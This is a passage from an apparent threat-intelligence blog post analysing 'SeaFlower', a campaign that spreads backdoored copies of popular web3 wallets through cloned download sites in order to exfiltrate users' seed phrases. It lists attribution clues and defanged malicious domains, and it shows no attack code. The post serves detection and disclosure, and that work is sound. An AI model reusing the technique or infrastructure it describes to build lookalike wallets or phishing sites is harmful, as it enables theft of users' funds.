data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:92,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CVhR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 424w, https://substackcdn.com/image/fetch/$s_!CVhR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 848w, https://substackcdn.com/image/fetch/$s_!CVhR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 1272w, https://substackcdn.com/image/fetch/$s_!CVhR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8aed8e0-fe01-4054-86ec-65588542e62c_1000x92.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Author username leak</figcaption></figure></div><blockquote><p>Note: this same mistake was made on other libraries that helped leaking more macOS usernames, and thus uncovering a set of personas related to SeaFlower</p></blockquote><p>Naturally, Googling &#8220;Zhang Haike&#8221; was the next step, which gave many Chinese-speaking references, including this one that I found amusing: it is the name of a <a href="https://daomu-biji.fandom.com/wiki/Zhang_Haike">character</a> in a Chinese <a href="https://daomu-biji.fandom.com/wiki/Tibetan_Sea_Flower_%28Zang_Hai_Hua%29">novel</a> called &#8220;Tibetan Sea Flower&#8221;.</p><p>The Chinese-speaking references conform to the context of this large campaign, and hint to a strong relationship with a Chinese-speaking entity yet to be uncovered:</p><ul><li><p>Uncovered macOS usernames are Chinese names</p></li><li><p>Source code comments in the backdoor code are written in Chinese.</p></li><li><p>Modding/hooking Frameworks used are common in the Chinese-speaking modding community, based on the fact that many tutorials and usages example of these Frameworks are in Chinese and the authors of the tools are Chinese speaking.</p></li><li><p>We uncovered Provisioning profiles, signing infrastructure, and app provisioning infrastructure hosted in the Chinese IP address space and the Hong Kong IP address space in addition to the domains registered with .cn TLD. Note: signing infrastructure and provisioning infrastructure might or might not be directly related to SeaFlower as it could be abused or just used as a service.</p></li><li><p>We uncovered multiple cloned websites (mimicking official wallet websites) initially hosted in Hong Kong IP address space</p></li><li><p>CDN abused is Alibaba</p></li><li><p>Most of the search engines targeted are Chinese search engines.</p></li></ul><p>As of today, the main current objective of SeaFlower is to modify <a href="https://moralis.io/what-is-a-web3-wallet-web3-wallets-explained/">web3 wallets</a> with backdoor code that ultimately exfiltrates the seed phrase.</p><p>The targeted web3 wallets are the following:</p><ul><li><p><a href="https://twitter.com/CoinbaseWallet">Coinbase Wallet</a> (iOS, Android)</p></li><li><p><a href="https://twitter.com/MetaMask">MetaMask</a> wallet (iOS, Android)</p></li><li><p><a href="https://twitter.com/TokenPocket_TP">TokenPocket</a> (iOS, Android)</p></li><li><p><a href="https://twitter.com/imTokenOfficial">imToken</a> (iOS, Android)</p></li></ul><blockquote><p>Note: The wallets above are 100% safe and you can use them safely. But like any other good and very popular software, they are exposed to modding, reverse engineering, and backdoors. SeaFlower distributes a backdoored version of these wallets by modifying the original ones.</p></blockquote><p>Any users lured into downloading SeaFlower backdoored wallets will ultimately lose their funds. We provided SHA-256 of each analyzed backdoored wallet to help our community identify these backdoored wallets and their multiple variants.</p><h3>SeaFlower Modus operandi</h3><p>Looking at the various attacks in this new cluster, they have something in common: SeaFlower doesn&#8217;t alter the original functionality of the wallet in any way <strong>but adds</strong> <strong>code to exfiltrate the seed phrase, </strong>and does it using different techniques increasing in complexity, hopefully, documented in this blog post.</p><p>The user experience, the UI, and all the wallet functionality are unchanged, normal/advanced users won&#8217;t notice anything while using the app on their phones: it is the legitimate app from the AppStore/Play Store with a sneaking backdoor in it.</p><p>But if one is actively monitoring network requests, one will find out that there&#8217;s a single network request that is sent to weird-looking domains, for example, we have seen backdoored wallets sending traffic to trx.lnfura[.]org (mimicking infura.io) or metanask[.]cc (mimicking metamask.io) over HTTPS.</p><p>Setting up a MITM proxy we could decrypt the HTTPS traffic and find out that the seed phrase, the wallet address, and the balance are sent out to the attacker:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2q9V!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2q9V!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 424w, https://substackcdn.com/image/fetch/$s_!2q9V!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 848w, https://substackcdn.com/image/fetch/$s_!2q9V!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 1272w, https://substackcdn.com/image/fetch/$s_!2q9V!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2q9V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png" width="1000" height="394" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:394,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Intercepting HTTPS traffic of SeaFlower backdoor&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Intercepting HTTPS traffic of SeaFlower backdoor" title="Intercepting HTTPS traffic of SeaFlower backdoor" srcset="https://substackcdn.com/image/fetch/$s_!2q9V!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 424w, https://substackcdn.com/image/fetch/$s_!2q9V!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 848w, https://substackcdn.com/image/fetch/$s_!2q9V!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 1272w, https://substackcdn.com/image/fetch/$s_!2q9V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbcb886c-a197-4ad7-8167-3671eb74a0f3_1000x394.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Intercepting HTTPS traffic of SeaFlower backdoor</figcaption></figure></div><p>But how this is possible? we will have to reverse engineer the apps to determine all the techniques SeaFlower used to make these legitimate apps behave maliciously in the background.</p><p>SeaFlower drastically differs from the other web3 intrusion sets we track, with little to no overlap from the Infrastructure in place, but also from the technical capability and coordination point of view: Reverse engineering iOS and Android apps, modding them, provisioning, and automated deployments.</p><p>SeaFlower also takes care of the app distribution phase by setting up fake cloned websites where these backdoored wallets can be downloaded. The identified websites are perfect clones of legitimate websites, offering download links:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uwHT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uwHT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 424w, https://substackcdn.com/image/fetch/$s_!uwHT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 848w, https://substackcdn.com/image/fetch/$s_!uwHT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 1272w, https://substackcdn.com/image/fetch/$s_!uwHT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uwHT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png" width="1000" height="697" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:697,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uwHT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 424w, https://substackcdn.com/image/fetch/$s_!uwHT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 848w, https://substackcdn.com/image/fetch/$s_!uwHT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 1272w, https://substackcdn.com/image/fetch/$s_!uwHT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43c17045-81a3-4c93-8359-0d9470d489de_1000x697.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">imToken cloned website (courtesy of DomainTools) hosted at: appim[.]xyz</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5AEm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5AEm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 424w, https://substackcdn.com/image/fetch/$s_!5AEm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 848w, https://substackcdn.com/image/fetch/$s_!5AEm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 1272w, https://substackcdn.com/image/fetch/$s_!5AEm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5AEm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png" width="1000" height="530" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9819980c-c263-4598-b39a-309a3f543394_1000x530.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:530,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5AEm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 424w, https://substackcdn.com/image/fetch/$s_!5AEm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 848w, https://substackcdn.com/image/fetch/$s_!5AEm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 1272w, https://substackcdn.com/image/fetch/$s_!5AEm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9819980c-c263-4598-b39a-309a3f543394_1000x530.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">cloned Metamask website, hosted at: https://74871011[.]huliqianbao[.]com/download.html</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dQy_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dQy_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 424w, https://substackcdn.com/image/fetch/$s_!dQy_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 848w, https://substackcdn.com/image/fetch/$s_!dQy_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 1272w, https://substackcdn.com/image/fetch/$s_!dQy_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dQy_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png" width="1000" height="604" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:604,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dQy_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 424w, https://substackcdn.com/image/fetch/$s_!dQy_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 848w, https://substackcdn.com/image/fetch/$s_!dQy_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 1272w, https://substackcdn.com/image/fetch/$s_!dQy_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56ace6b6-ab63-415c-b490-4afedbf08a28_1000x604.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">cloned Coinbase Wallet website hosted at som-coinbase[.]com</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-Fau!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-Fau!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 424w, https://substackcdn.com/image/fetch/$s_!-Fau!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 848w, https://substackcdn.com/image/fetch/$s_!-Fau!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 1272w, https://substackcdn.com/image/fetch/$s_!-Fau!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-Fau!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png" width="1000" height="595" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:595,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-Fau!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 424w, https://substackcdn.com/image/fetch/$s_!-Fau!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 848w, https://substackcdn.com/image/fetch/$s_!-Fau!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 1272w, https://substackcdn.com/image/fetch/$s_!-Fau!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f00bcad-256e-4dfb-b553-8c958f14961d_1000x595.png 1456w" sizes="100vw" loading="lazy"></picture><div 